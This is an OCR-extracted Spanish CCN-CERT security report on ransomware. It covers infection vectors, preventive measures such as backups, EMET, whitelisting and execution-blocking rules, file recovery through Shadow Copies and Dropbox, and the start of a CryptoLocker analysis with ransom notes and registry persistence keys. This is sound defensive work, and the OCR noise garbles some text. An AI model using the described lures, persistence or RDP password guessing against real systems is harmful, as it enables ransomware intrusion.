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CENTRO GRIPTOLOGICO NAGIONAL

LIMITACION DE RESPONSABILIDAD

El presente documento se proporciona de acuerdo con los términos en él recogidos, rechazando
expresamente cualquier tipo de garantia implicita que se pueda encontrar relacionada. En ningun
caso, el Centro Criptoldégico Nacional puede ser considerado responsable del daio directo, indirecto,
fortuito o extraordinario derivado de la utilizacion de la informacidn y software que se indican incluso
cuando se advierta de tal posibilidad.

AVISO LEGAL

Quedan rigurosamente prohibidas, sin la autorizacién escrita del Centro Criptoldgico Nacional, bajo las
sanciones establecidas en las leyes, la reproduccién parcial o total de este documento por cualquier
medio o procedimiento, comprendidos la reprografia y el tratamiento informdtico, y la distribucién de
ejemplares del mismo mediante alquiler o préstamo publicos.
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1. SOBRE CCN-CERT

El CCN-CERT (www.ccn-cert.cni.es) es la Capacidad de Respuesta a incidentes de
Seguridad de la Informacién del Centro Criptoldégico Nacional, CCN. Este servicio se cred en
el ano 2006 como CERT Gubernamental/Nacional espanol y sus funciones quedan recogidas
en la Ley 11/2002 reguladora del Centro Nacional de Inteligencia, el RD 421/2004 de
regulacion del CCN y en el RD 3/2010, de 8 de enero, regulador del Esquema Nacional de
Seguridad.

De acuerdo a todas ellas, el CCN-CERT tiene responsabilidad en ciberataques sobre
sistemas clasificados y sobre sistemas de las Administraciones PUblicas y de empresas y
organizaciones de interés estratégico para el pais. Su misidén, por tanto, es contribuir a la
mejora de la ciberseguridad espanola, siendo el centro de alerta y respuesta nacional que
coopere y ayude a responder de forma rdpida y eficiente a los ciberataques y a afrontar de
forma activa las ciberamenazas.
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2. PROLOGO

Tal y como describe la Wikipedia [Ref.-1]: “Un ransomware es un tipo de programa
informdtico malintencionado que restringe el acceso a determinadas partes o archivos del
sistema infectado y pide un rescate a cambio de quitar esta restriccion. Algunos tipos de
ransomware cifran los archivos del sistema operativo inutilizando el dispositivo y
coaccionando al usuario a pagar el rescate”.

Aungue inicialmente este tipo de malware estaba limitado a determinados paises de
Europa del Este, en los Ultimos anos la proliferacién de ransomware ha ido en aumento como
consecuencia directa de las grandes sumas de dinero que reporta a los atacantes,
extendiéndose asi por toda Europa, Estados Unidos y Canadd.

A diferencia de otras categorias de malware cuyo objetivo es extraer informacién o
utilizar los equipos como bots para diversos fines (proxys, ataques DOS, etc.), el ransomware
tiene un Unico propdsito: obtener dinero de forma inmediata. Para conseguir esto, el
malware tratard de inducir miedo al usuario utilizando diversos elementos (scareware); por
ejemplo, mediante avisos emitidos supuestamente por empresas o agencias de la ley que
falsamente afirman que el sistema ha sido utilizado para actividades ilegales (por ejemplo:
pornografia infantil, software ilegal, etc.). Dichos mensajes irdn acompanados de un
formulario en el que se exigird al usuario que pague cierta suma de dinero a modo de
sancién. El método de pago consistird generalmente en sistemas de pago electronico
(Ukash, Paysafecard, MoneyPak, etc.), por medio de SMS premium o mediante Bitcoins.

En el mejor caso, el ransomware Unicamente bloqueard el equipo del usuario
impidiendo la ejecucion de determinados programas, generalmente por medio de un
banner a pantalla completa en el que podrd visualizarse el mensaje de extorsiéon. En algunos
casos el contenido del mensaje serd mostrado en el idioma correspondiente en base a la
geo-localizacién de la maguina comprometida para dotar a éste de mayor credibilidad.

El conocido "virus de la policia”, el cual tuvo cierta repercusion en Espana durante los
anos 2011y 2012, es un ejemplo de este tipo de ransomware.

En los Ultimos aios, sin embargo, las acciones daiinas de este tipo de malware han ido
evolucionando dando lugar a una nueva generacién de ransomware denominados "file
encryptors"', cuyo principal objetivo es cifrar la gran mayoria de documentos del equipo. En
este caso, la principal herramienta de extorsion serd el pago de cierta cantidad de dinero a
cambio de la clave que permitird recuperar (descifrar) los ficheros originales.

La complejidad de dicho cifrado variard en funcién del tipo de ransomware. Algunos
implementan determinados algoritmos de cifrado en el propio cédigo (Blowfish, AES, TEA,
RSA, etc.) mientras que otros se apoyardn en herramientas de terceros (por ejemplo,
herramientas como LockDir, GPG, WIinRAR, efc.).

Las acciones ofensivas de ciertos tipos de ransomware pueden resultar muy daninas.
Por ejemplo, CryptoLocker emplea una combinacion de cifrado simétrico y asimétrico para
hacer realmente compleja la recuperacién de los ficheros originales. Ademds, dichos
ficheros son comUnmente sobrescritos en disco mediante ciertas herramientas de seguridad
(por ejemplo, Microsoft Sysinternals SDelete) para impedir su recuperacion por técnicas
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forenses. Asimismo, algunas variantes utilizan clientes de la red TOR o 2P para dificultar la
frazabilidad de los servidores de control a los que se conectan los equipos infectados.

Como puede deducirse de dichas acciones, las consecuencias de un malware de
estas caracteristicas en un entorno corporativo pueden ser devastadoras. Ademds, dichas
consecuencias pueden agravarse alin mds si se cuenta con dispositivos de backup
directamente conectados con el equipo infectado, ya que algunos fipos de ransomware
comprueban cada una de las unidades montadas asi como recursos compartidos de red
para cifrar también su contenido.

Sus ficheros fueron codificados.
Para obtener el programa de decodificacion debe pagar 500 USD/EUR. Si no va a pagar
hasta LI/11/14 - 11:34 el precio de decodificacion aumentara 2 veces y va a ser 1000 USD/EUR,

Antes de incrementar la cantidad que queda:
167h 21m 19s

Su sistema: Windows xP (x32) Primera conexion con P I ==  codificados en total 2680 files.

[Acusion ] Pago | A0 oecrypes i or R ] suppor

Le presentamos el programa “CryptoWall Decrypter’, con su ayuda podra decodificar todos sus ficheros.
How to buy CryptoWall decrypter?

Obitcoin

1. Usted debe registrar un monedero de Bitcoin (Pulse para obtener mas informacion )

2. Comprar Bitcoins, cada dia es mas facil hacerlo.
Nuestras recomendaciones:

Figura 1. Ejemplo ransomware

A raiz de estos hechos, el presente informe tiene por objetivo dar a conocer
determinadas pautas y recomendaciones de seguridad que ayuden a los responsables de
seguridad a prevenir y gestionar incidentes derivados de un proceso de infeccién por parte
de determinados tipos de ransomware. El informe describird aspectos técnicos de algunas
de las muestras de ransomware mds activas actualmente. Asimismo, se indicard el método
de desinfeccidén de cada especimen vy, para aquellos casos en los que sea posible, se
especificardn también los pasos necesarios para recuperar los ficheros afectados.

Para profundizar en mayor detalle sobre la evolucidén de este tipo de malware se
recomienda la lectura de los siguientes informes:

e "Ransomware: A Growing Menace", Symantec [Ref.-2].

¢ “Ransomware: Next-Generation Fake Antivirus”, Sophos [Ref.-3].
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ViAS DE INFECCION

Tal y como se detalla en cada una de las muestras analizadas en el punto 7, las vias de

infeccion utilizadas por los diversos tipos de ransomware no se diferencian respecto al resto
de categorias de malware. Siguiendo una serie de pautas bdsicas de seguridad podrian
prevenirse prdcticamente la mayoria de infecciones de este tipo de malware. A
continuacién se describen algunos de los métodos de infeccidon mas utilizados:

Uso de mensajes de Spam/phishing. Posiblemente este sea el vector de infeccion
mds utilizado. El uso de mensajes de spam o de phishing unido a la ingenieria
social, para que el usuario ejecute determinado fichero adjunto o bien acceda a
determinada URL, serd una de las técnicas mdas habituales para conseguir ejecutar
codigo danino en el equipo del usuario. Por ejemplo, multitud de victimas de
TorrentLocker en Reino Unido (analizado en el punto 6) resultaron infectadas como
consecuencia de una pdgina de phishing que simulaba determinado servicio de
seguimiento de paquetes legitimo (Royal Mail package-tracking). Una vez el
usuario introducia el captcha correspondiente, descargaba un “.zip" con el
binario danino. Si el usuario ejecutaba dicho binario resultaba infectado con
TorrentLocker. Ademds, la pdgina fraudulenta de Royal Mail sdlo seria visible para
visitantes de Reino Unido. Este es sdlo un ejemplo de las multiples estrategias que
pueden adoptar los atacantes para fratar de enganar a los usuarios.

<8 Royal Mal Track and Trace | X

€« C' [ royalmail-tracking.info/track php e E

.
@ Login or register ¥

o

Royal Mail

Sending mail Receiving mail Help & support Business services

Home > Receivingmail > Track and Trace

Track and Trace

((
i

To view Information about your package please enter number shown in the image below

Please download and open (track.zip 259 kb)

SENDING TRACKING
important or valuable mail important or valuable mail

Send mail in the UK What s Track & Trace?

Send mail overseas How do | use Track & Trace?

Figura 2. Phishing Royal Mail (TorrentLocker). Fuente: Welivesecurity

En otros casos, menos elaborados, los mensajes de correo contienen directamente
como adjunto el propio fichero danino. La siguiente captura se corresponde con
cierta campana de spam en la que se utiliza el ransomware Troj/Ransom-JO. El
cuerpo del correo contiene informacién de lo que parece un ticket recientemente
comprado por el usuario.
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& You can download your ticket #5390

Fle Edt Vew Tools Messages Hep

S & .8 - X o J 3
Reply Reply Al Forward Print Delote Addresses
From: Daka Ar Lines
Date: 0 2 2012 06:35
Toc e T e T

Subject:  You can download your ticket #5390
Attach:  (JJOea_A_Ticket_Print_Document_4767.2ip (50.3 KB)

Notfication,

E-TICKET NUMBER / EH036256364
SEAT/71F/ZONE 3

DATE /TIME 10 AUGUST, 2012, 1235 PM
ARRIVING / Tucson

FORM OF PAYMENT /CC

TOTAL PRICE / 257 50 USD

REF /EF 2982 ST/ OK

BAG/4PC

Your bought ticket 15 attached
You can prnt your ticket

Thank you for your attention
Delta Ax Limnes

Figura 3. Troj/Ransom-JO. Fuente: Sophos

. Web Exploit Kits que se aprovechan de vulnerabilidades en el navegador o en 1os
plugins instalados (drive-by downloads). En estos casos, cuando el usuario navega
a cierto sitio web comprometido, un iframe redirecciona el navegador a un
segundo sitio danino en el que se encuentra instalado un "Web Exploit Kit" que
fratard de explotar alguna vulnerabilidad del navegador o de alguno de sus
plugins. Generalmente este tipo de frameworks suele apoyarse en librerias
javascript como, por ejemplo, PluginDetect para obtener las versiones de los
plugins utilizados y ejecutar asi el exploit correspondiente. Por ejemplo, uno de los
métodos de distribucién de CryptoWall fue el Infinity Exploit Kit (fambién conocido
como Redkit V2). Cada vez mds exploit kits disponen de ransomware en su sistema
de distribucion.

. Por medio de otro malware. Un sistema infectado por especimenes como Citadel,
Zeus, efc., puede utilizarse para descargar y ejecutar ransomware. Por ejemplo,
una de las vias de infeccién de CryptoWall en los Ultimos meses se ha realizado
mediante el downloader Upatre procedente de la bofnet de spam Cutwail.

o Servicios RDP (Remote Desktop Protocol) con contrasenas predecibles o
vulnerables a ataques por diccionario. Los atacantes suelen utilizar herramientas
automatizadas que escanean equipos de forma masiva en busca de servicios
como Terminal Server. Posteriormente, intentardn acceder al mismo mediante
cuentas y contrasefas comunmente utilizadas: admin, Administrator, backup,
console, Guest, sales, efc.

. A través de anuncios senuelo; por ejemplo, banners pornogrdficos.
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4, MEDIDAS PREVENTIVAS

Para reducir las posibilidades de infeccidon por parte de este tipo de malware se
recomienda seguir las siguientes pautas de seguridad:

Mantener copias de seguridad periddicas de todos los datos importantes. Dichas
copias de seguridad no deben ser accesibles directamente desde el equipo de forma fisica
(como por ejemplo, discos duros externos USB) o por medio de recursos compartfidos en red.
Como se analizard en el punto 7, algunos ransomware como CryptoLocker tienen
capacidad para listar y recorrer las unidades montadas en el equipo. De esta forma si un USB
conectado al sistema infectado se emplea para guardar copias de seguridad, corre el
riesgo de ser infectado también. Dichas acciones daninas afectarian también a
aplicaciones como Dropbox y similares, las cuales utilizan unidades de almacenamiento
locales. Desde Windows es posible programar copias de seguridad periddicas de forma
sencilla desde la opcidn “Copias de Seguridad y Restauraciéon” (Panel de Control -> Sistema
y Seguridad -> Hacer una copia de seguridad del equipo).

Utilizar VPN (Virtual Private Networking) como método de acceso remoto a
determinados servicios. Cierta parte de las infecciones por ransomware se producen a través
de servicios de escritorio remoto. En concreto, servicios como RDP han sido ampliamente
utilizados en los Ultimos anos [Ref.-4] para tratar de infectar equipos con ransomware. Los
atacantes emplean herramientas y scripts con diccionarios de palabras para tratar de
obtener credenciales vdlidas de usuarios. En el caso de exponer este tipo de servicios al
exterior, se recomienda utilizar contrasenas robustas y politicas lock-out que permitan
establecer un nimero determinado de intentos de autenticaciéon antes de bloquear la IP
correspondiente. Del mismo modo, se recomienda establecer ACL (listas de control de
acceso) para restringir el acceso a este tipo de servicios Unicamente desde equipos de
confianza.

Para prevenir infecciones desde pdginas daninas que emplean Web Exploit Kits asi
como ficheros ofimdaticos daninos que puedan llegar al equipo por medio de correo
electrénico, redes sociales, etc., se recomienda mantener el software correctamente
actualizado. El navegador, versiones anfiguas de Java, Flash o Adobe Acrobat suelen ser
algunas de las principales vias de infeccion en ataques de este tipo.

Ademds de disponer de software correctamente actualizado, es recomendable utilizar
soluciones que permitan mitigar exploits. Herramientas como EMET [Ref.-5] permiten aplicar
determinadas medidas de seguridad tales como DEP, EAF, ASLR, SEHOP, NPA, etc., de forma
personalizada a los procesos que se deseen para prevenir la ejecucion de cddigo danino
(incluidos O-days). Se recomienda que herramientas como el navegador asi como aquellas
utilizadas para abrir ficheros ofimdticos (Microsoft Office, Adobe Reader, etc.) se encuentren
protegidos por EMET o herramientas similares. Este tipo de aplicaciones no deben verse
como una alternativa al antivirus, sino como una herramienta adicional més de proteccién.
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@ A Appécation Configuratio - :E n
Y ) S
~ i' @ @ x </‘>‘ @) Stop on exploit v Deep Hooks v Anti Detours
B
Export  Export Add Application Add Wildcard Remove  Show Full Audit only | Banned Functions
Selected Selected Path N N
File Add / Remove Options Default Action Mitigation Settings
Mitigations
Al | Memory | ROP Other
A
office v Find Clear
App Name DEP v | BottomUpASLR MandatoryASLR HeapSpray NullPage
*\OFFICE1*\EXCEL.EXE v v v v v
*\OFFICE1* \POWERPNT.EXE v v v v v
*\OFFICE1* \WINWORD.EXE v v ) v v

Figura 4. EMET

Valorar el uso de aplicaciones de lista blanca (white listing). Este tipo de aplicaciones
[Ref-.6] estdn disenadas para proteger el sistema operativo contra programas no autorizados
y daninos. Su objetivo es garantizar que sélo los programas explicitamente autorizados
puedan ser ejecutados, impidiendo la ejecucion de todos los demds. La implementacién de
este tipo de sistemas se consigue utilizando una combinacién de software encargado de
identificar y permitir la ejecucién de los programas aprobados con el uso de listas de control
de acceso, mediante las cuales se impide la modificacidn de dichas restricciones. Por
ejemplo, Applocker [Ref.-7] es un conjunto de politicas presentes en Windows 7 que
permiten establecer multiples niveles de cumplimiento y establecer listas blancas de
ejecucion. Existen diversas alternativas de terceros que permiten también implementar listas
blancas, por ejemplo: Bit? Parity Suite [Ref.-8], McAfee Application Control [Ref.-?], Lumension
Application Control [Ref.-10], efc.

Considérense herramientas como CryptolLocker Prevention Kit [Ref.-11], las cuales
permiten crear politicas de grupo para impedir la ejecucién de ficheros desde directorios
como App Data, Local App Data o directorios temporales (comUnmente utilizados por gran
variedad de ransomware). Otfro software similar con una instalacidn mds intuitiva y sin
necesidad de utilizar el Group Policy Editor (disponible en las versiones Professional, Ultimate y
Enterprise de Windows) es CryptoPrevent. Esta heramienta [Ref.-12] permite configurar
determinadas reglas objeto de directiva de grupo en el registro para bloguear la ejecucion
de determinados tipos de ficheros (.exe, .pif, .com, etc.) ubicados en ciertas localizaciones
del sistema. La herramienta permite también crear listas blancas de aplicaciones confiables,
generar alertas via email, etc. Aunque la herramienta presenta una interfaz sencilla de
configuraciéon, es posible parametrizar opciones mds concretas por medio de su vista
avanzada (imagen de la derecha). Este tipo de herramientas ayudardn a prevenir una gran
variedad de ransomware (incluidos algunos tan daninos como CryptolLocker).
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] CryptoPrevent v7.4.1 - www.FoolishIT.com

Information j/ Help  Advanced  Alerts  Updates  Get Premium!
Selected Pratection Level
" Mone - Remove all protections.
" Basic - Original CryptoLocker prevention rules
& Default - "Set it and forget it" protection

however it may not protect against newer ransormware
threats.

-

Maximurn Protection - Please read below!

either operation on any software. This may also prevent
certain backup software from rebooting into a recovery
partition for backupdrestore purposes

-

Maximum Protection + Program Filtering (BETA)

executables, and blocking a lot of newer CryptoLocker
wariants, copycats, and other ransorware

Apply

This setting offers pratection you shouldn't have to maintain,

This option may prevent legitimate software from installing
and uninstalling, and should be disabled when attempting

This setting offers the most protection of any other option
available, using a definitions based system to filter program
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45 |l P3| ) CryptoPrevent v7.4.1 - www.FoolishIT.com
Back Information fHelp  Adwvanced  Alerts  Updates  Get Premium!
e e o e 5 R
Protected Locations:

¥ %appdatath
V¥ %appoatadsl
¥ %localappdatas

¥ %userprofiles
V¥ %programosta

¥ Recycle Bin
¥ Startup Folder

Prevert Execution of:

¥ wssadmin exe ¥ syskey exe ¥ cipher exe
¥ Known malware processes in various locations

Misc. Protections:
[¥ Guard against fake file extensions & RLO

[¥ Disable windows Sidebar and Gadgets

Apply suspicious program fitering for.

I~ CPL files ¥ SCR files I~ FPF files
Apply constart program fitering for
¥ CPL files [~ SCR files ¥ PF files

Motification Options,
¥ blo Run Anyweay prompt, show blocked message anly,
I silert blocking (Mo Run &nywway prompt f blocked mag )

~CryptoPrevent Filter Modulet ——————————————————

coN-cert

~CryptoPrevent Filter Module: (BETA}

Apply BETA program fikering for:

[~ EXE and .COM files

Policies

[~ shlocalappdsta®si (NOTE: this includes etempsh dirsctory!)
This provides maximum protection but may need to be
TEMPORARILY disabled when you run & softvware installation

[ Block Executables Temporarily Extracted from Archives
This provides maximum protection but may need to be
TEMPORARILY disabled when you run & softvware installation

[ Prevent Execution of bededit.exe

This will block malvare from sllering Windows boot options,
howvever it may slso biock certain backup spplications.

#* BETA, options are not recommended for most users
This setting offers the most protection of any ather option
avallsble, but tis sxperimsntsl

Undo Protection

Test
Protection

Apply Protection

Select:  Detfaults § Mone

Figura 5. CryptoPrevent

Si en lugar de utilizar las herramientas previamente descritas se desean anadir politicas
de forma manual en la “Directiva de Seguridad Local”, deberdn llevarse a cabo los

siguientes pasos.

o Dentro de las directivas de restriccion de software, pulsaremos el botén derecho
sobre la categoria "Reglas adicionales” y posteriormente se elegird la opcion
“Regla de nueva ruta de acceso”. En la siguiente imagen se muestra una regla
para impedir la ejecucion de ficheros “.exe” desde la ruta %AppData%, la cual es
frecuentemente utilizada por diversos fipos de ransomware para volcar sus
binarios. Unicamente es necesario especificar la ruta de acceso y el nivel de
seguridad “No permitido”.

i Directiva de seqguridad local

Archive  Accién  Ver

|

=]

Propiedades: %AppData%:\*.exe

i Configuracién de seguridad
[ 7“3 Directivas de cuenta
> [ Directivas locales
> [ Firewall de Windows con seguridad a1
[ Directivas de Administrador de listas ¢
[ Directivas de clave puiblica
| Directivas de restriccién de software
| Miveles de seguridad
|| Directivas de control de aplicaciones
‘g Directivas de seguridad IP en Equipo |
[ Configuracidn de directiva de auditor

General

MNombre

4| %HKEY_LOCAL_MACH
%HKEY_LOCAL_MACH|
42| ShppData¥a\*.exe

E Regla de nuta

Ruts de acceso

Examinar

Mivel de seguridad:

| [ Mo permitida

Descripcién

Denegar ejecutables desde AppData

Fecha de Gltima I on

Wednesday, N b
Obtener mas informacidn acerca de las directivas de restriccidn de software

05,2074 11:05:08 AM

Figura 6. Directiva de seguridad local
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Tras instalar la politica, si se intenta ejecutar un binario desde dicha ruta se
generard la siguiente alerta, ademds del evento correspondiente.

C:' - oD ata' Roaming Adkd3llsaxkD.exe 24

| La directiva de grupo bloquea a este programa. Para obtener mds informacion, pdngase en
' contacte con el administrader de sistemna.

Figura 7. Alerta: Bloqueo programa

. Considérense otras rutas como %UserProfile%\Local Settings, %UserProfile%\Local
Settings\Temp\, etc., para denegar la ejecucidén de binarios. Muchos tipos de
malware, no sélo ransomware, son descargados y ejecutados desde estos
directorios.

Se recomienda mostrar las extensiones para tipos de ficheros conocidos. Algunos
ransomware como CryptoLocker o CryptoTorrent utilizan ficheros daninos con doble
extension (.PDF.EXE) para ocultar su verdadera naturaleza. Si el sistema no muestra la
extensidén principal del fichero puede hacer creer al usuario que se trata de un fichero
ofimdtico en lugar de un ejecutable.

nE

| Apply to Al Folders I Beszet All Folders |

Advanced zettings:

{3 Do not show hidden files and folders ;I
(&} Show hidden files and folders
(W Hide ex iz for known file tupes

Hide protected operating system filez [Recommended]
O Launch folder windows in a separate process

n?.-13-26814 ©1:26 PH 455,768 mlw—sample.exe
1 archivos 455,768 hytes
B dirs 27.852,.244.992 bytes libres

Figura 8. Mostrar extensiones de ficheros conocidos

Es fundamental educar a los usuarios en aspectos de ingenieria social. Gran parte de
las infecciones provienen a fravés de mensajes de correo electrénico que tratan de incitar all
usuario a abrir una determinada pdgina o ejecutar cierto fichero. Existen multitud de
soluciones de seguridad que ayudan a prevenir este tipo de ataques por medio, por
ejemplo, de mail scanners que permiten analizar las URL de los correos electrénicos y
determinar la peligrosidad de las mismas. Sin embargo, dichas soluciones no son infalibles.
Por ejemplo, la variante CryptolLocker.F utilizaba como via de infeccidon un correo
electrénico con ciertos enlaces a pdginas daninas. Cuando se abre uno de estos enlaces se
muestra un captcha al usuario para poder visuadlizar el contenido de la pdgina. De esta
forma se asegura que es el usuario y no una solucién de seguridad la que alcanza la pdgina.
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Educar a los usuarios sobre los métodos utilizados por los atacantes serd la manera mdas
eficaz para prevenir infecciones.

No utilizar cuentas con permisos de administrador a no ser que sea esfrictamente
necesario. La ejecuciéon de cierto malware bajo una cuenta de administrador permite llevar
a cabo todo tipo de acciones daninas en el sistema. Considérese el uso de cuentas
limitadas para la gran mayoria de usuarios.

Utilizar un sistema antivirus correctamente actualizado vy un firewall de aplicacién en el
sistema operativo con reglas de filtrado restrictivas. Dichas contramedidas servirdn como
refuerzo adicional a otros sistemas de proteccidon basados en red tales como IDS/IPS, etc.
Cabe destacar que diversas aplicaciones AV disponen de moddulos y funcionalidades
especificas para tratar de prevenir las acciones daninas de los ransomware como, por
ejemplo, el Advanced Memory Scanner [Ref.-13] de ESET, el mddulo System Watcher [Ref.-14]
de Kaspersky o la tecnologia CryptoGuard [Ref.-15] de HitmanPro.Alert. La siguiente captura
se corresponde con este Ultimo software. CryptoGuard basa su funcionamiento en la
monitorizacion del sistema de ficheros, bloqueando procesos que generen cualqguier tipo de
comportamiento anédmalo sobre el mismo. Dicha solucién es bastante efectiva para mitigar
atagques como los llevados a cabo por CryptolLocker, Dorifel, etfc.

HitmanPro.Alert 2.6.5

', HitmanPro.Alert 2
63 > B =

Browser Botnet Vacuraddnpl  CryptoGuard  SME

CryptoGuard
Prevents ransomware from encrypting your personal fies for ransom.
& Activado

™ Desactivado

Cerrar

Figura 9. HitmanPro.Alert (CryptoGuard)

La herramienta "Anti Ransom" [Ref.-42] es una alternativa para mitigar parcial o
totalmente el impacto producido por una infeccién de ransomware. El funcionamiento de
esta aplicacion es sencillo:

1. Se crean "honeyfiles” (ficheros susceptibles de ser cifrados por ransomware) y se
ubican en carpetas del usuario (Mis Documentos, C:\Documents and Settings\, efc.).

2. Se monitoriza si alguno de los “honeyfiles” es alterado.
3. Detecta el proceso que estd modificando el “honeyfile" en cuestion.

4, Vuelca la memoria del proceso en busca de la clave de cifrado que estaba
empleando para cifrar el fichero.

5. Mata el proceso correspondiente al ransomware.
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Se trata de una utilidad que, en el peor de los casos, serd capaz de parar el proceso
de cifrado del ransomware, lo cual mitiga parcialmente el impacto. Y, en algunos casos,
encuentra la clave de cifrado que estaba usando el ransomware, con la cual podriamos
descifrar los ficheros que hubieran sido cifrados.

5. RESTAURACION DE FICHEROS: SHADOW VOLUME COPY

El servicio Shadow Copy de Windows, también conocido como Volume Snapshot
Service (VSS), permite hacer copias automdaticas periddicas de los datos almacenados en
recursos compartidos asi como unidades del equipo (sobre sistemas de ficheros NTFS). Para
ello el VSS crea copias ocultas de los cambios que experimentan bloques de datos del
sistema de ficheros, permitiendo asi recuperar informacién individual (por ejemplo ficheros)
en el caso de pérdida o borrado accidental. Para mds informacién técnica sobre este
sistema se recomienda la lectura “Volume Shadow Copy” desde la pdgina [Ref.-16] de
Microsoft.

A diferencia del sistema implementado en Windows XP (restauracion del sistemal), el
VSS mantiene snapshots de volumenes del sistema; por ejemplo, de toda la unidad C. De
esta forma se protegerian no sdélo los ficheros del sistema sino todos los datos contenidos en
dicha unidad, incluyendo los documentos de los usuarios, ficheros de programas, etc.

Si se cuenta con un sistema operativo Windows Vista o superior, en el caso de ser
victima de un ransomware del cual sea prdcticamente imposible recuperar los ficheros
originales; por ejemplo, debido al sistema de cifrado utilizado, es recomendable considerar
el uso de VSS para tratar de recuperar una copia previa de los ficheros afectados (siempre y
cuando la unidad VSS no se haya visto afectada). Para proceder a recuperar los ficheros de
cierto directorio, Unicamente es necesario acceder a las propiedades del mismo vy
posteriormente dirigirse a la pestana "Versiones Anteriores". Desde esta pestana serd posible
visualizar y restaurar cada una de las copias creadas por VSS sobre dicho directorio. Téngase
en cuenta que el backup mds reciente puede no coincidir (al fratarse de una version mds
antigua) con la Ultima version del fichero original antes de verse afectado por el
ransomware.
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1P D

Genel [ Conpate | Seguidd | Vrsones teores

‘il'_'s Las versiones anteriores provienen de puntos de
4 /] restauracion o de Copias de seguridad de Windows
h £Cémo se pueden usar versiones snteriores?

Version de |a capeta:

Nombre Fecha de;nod\ﬁca”.

4 Hoy (1)

| | Documents | 11/15/2014 10:09 ], |

Documents

===l \-CERT

l Aceptar I[ Cancelar H Aplicar

Iy o 1232PM
v = [

- 11/15/2014

Figura 10. Restauracién de ficheros (VSS)

Otra alternativa para restaurar una copia creada por el VSS de los documentos es
utilizar el sofftware Shadow Explorer [Ref.-17]. Dicho programa presenta una interfaz muy
sencilla desde la que se podrd visualizar y restaurar cada una de las copias creadas por el
VSS. En la siguiente captura se ha seleccionado el backup mds reciente, previo a la
infeccion de cierto ransomware. Posteriormente, tras hacer botén derecho sobre el
directorio seleccionado, se ha elegido la opcién “Export”.

File  Help

¢ ~[mezsa] -]

i Recovery _ * || Name Date Modified Type

y : lsjz,:m Yolume lfo [ Documentos 0/10/2014 225410 Campeta d
Al Users “desktopim | Bxport..  |N0/201419:1701  Opcones
| Default *

| Default User
| Public

| AppData

| Configuracién local
| Contacts

| Cookies

| Datos de programa
| Desktop

0:30
31/10/2014

S [ (O e )

Figura 11. Shadow Explorer

Cabe destacar que los ransomware mds recientes, conscientes de este mecanismo
para recuperar ficheros, implementan funcionalidades para desactivar el VSS y eliminar los
puntos de restauracion.
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6. RESTAURACION DE FICHEROS EN DROPBOX

Es importante destacar que, en el caso de utilizar el cliente de Dropbox para
sincronizar defterminado directorio con la unidad de almacenamiento en la nube
proporcionada por dicho servicio, el mismo es igualmente susceptible de ser infectado por
un malware de tipo ransomware. Esto significa que un especimen podria recorrer la unidad
montada de Dropbox y cifrar fodos sus ficheros. Posteriormente, estos ficheros se
sincronizarian con la unidad de almacenamiento online, quedando de esta forma cifrado
tanto en local como en la cuenta de Dropbox.

En este caso, Dropbox también permite restaurar una copia de cierto fichero a una
versién anterior. Unicamente hay que hacer botén derecho sobre el fichero que se desea
restaurar y posteriormente elegir la opcidn "Versiones anteriores” desde donde se podrd
elegir cada uno de los backups realizados sobre dicho fichero.

Archivos

Informe.docx documento 7/9/2012 22:05

Compartir vinculo...
5y Descargar
o Eliminar...
¢ Cambiar nombre
& Mover...

Copiar...

<) Versiones anteriores

Figura 12. Restauracion de ficheros (Dropbox)

Si se gestiona un gran volumen de ficheros en Dropbox, dicho proceso puede resultar
un pPOCO engorroso, ya que no existe la opcidon de restaurar un directorio al completo. En
estos casos puede automatizarse el proceso apoydndose en scripts de terceros. Por ejemplo,
mediante el script en Python dropbox-restore [Ref.-18] es posible especificar el directorio que
se desea restaurar asi como la fecha de backup de cada uno de sus ficheros. Téngase en
cuenta que si un fichero no existe en la fecha especificada, el mismo serd eliminado. Para
utilizar el script es necesario disponer de la API Dropbox para Python. En el siguiente ejemplo
se ha hecho uso del gestor de paquetes PIP para su instalacion.
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python get-pip.py

ge dropbox

up.py) egg_info for package urllib3

found under directory 'docs/ build’
 dropbox
urllib3

s matching '*' found under directory " build®

Figura 13. Dropbox restore script

Posteriormente, para utilizar el script Unicamente es necesario especificar el directorio
asi como la fecha de restauracion (formato AAAA-MM-DD). Fijese que el directorio indicado
debe ser relativo al directorio utilizado para montar la unidad de Dropbox (en el ejemplo,
/root/Dropbox).

Figura 14. Dropbox restore script

7. ANALISIS DE RANSOMWARE

7.1 CRYPTOLOCKER

Uno de los ransomware mds daninos durante los anos 2013/2014 para los sistemas
Windows XP, Windows Vista, Windows 7, y Windows 8 ha sido CryptoLocker. Sus primeras
variantes se identificaron en Septiembre de 2013 y actualmente sigue contando con nuevas
versiones que hacen prdacticamente imposible la recuperacién de los ficheros cifrados. Para
dicho cifrado CryptoLocker utiliza una mezcla de RSA y AES, solicitando un pago al usuario
entre 100$ y 300$ por medio de BTC o MoneyPak para la recuperacién de los mismos. Si
dicho pago se demora mds de 72 horas el ransomware amenazard con eliminar la clave
privada utilizada para el cifrado de los documentos.
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Your personal files are encrypted!

Your important files encryption produced on this computer: photos, videos,
documents, etc. Here is a complete list of encrypted files, and you can personally verify
this.

Encryption was produced using a unique public key RSA-2048 generated for this
computer, To decrypt files you need to obtain the private key.

The single copy of the private key, which will allow you to decrypt the files, located
on a secret server on the Internet; the server will destroy the key after a time
specified in this window. After that, nobody and never will be able to restore files...

To obtain the private key for this computer, which will automatically decrypt files, you
need to pay 300 USD / 300 EUR / similar amount in another currency.

Click «Next» to select the method of payment.

Any attempt to remove or damage this software will lead to the immediate
destruction of the private key by server |

Figura 15. CryptoLocker

La principal via de entrada utilizada por este especimen se readliza por medio de
mensajes de correo que fratan de utilizar la ingenieria social para incitar al usuario a
descargar y ejecutar determinado binario. La infeccién suele producirse por medio de
malware conocido como, por ejemplo, Citadel o Zbot. Gran parte de los correos
identificados se hacen pasar por companias como Fedex, UPS o DHS, los cuales adjuntan un
fichero ".zip" que contiene un binario con doble extensién (.pdf.exe.). Puesto que de forma
predeterminada Windows no muestra las extensiones para los ficheros “.exe”, el usuario
podria pensar que se trata de un documento PDF legitimo. Para darle mayor credibilidad
dicho binario presenta un icono de fichero PDF.

Una vez que CryptolLocker ha sido descargado y ejecutado en el sistema, creard una
determinada entrada de registro para asegurar su persistencia en el equipo:

@’ HECUAS oftwareMicrosoftywWindows \CurentversiontRun

E CruptoLocker Mark ac ISEX cihvdocuments and settingzitesthlocal settingz\application data\ndispnawemgjdbnpf.exe
@" HECUAS oftwaresMicrosofty\Wwindows \CurentyersionsBundnce
E *CryptoLocker Mark ac I1SEX c:hvdocuments and settings\testhlocal settings\application data‘\ndizpnawemgidbnpf.exe

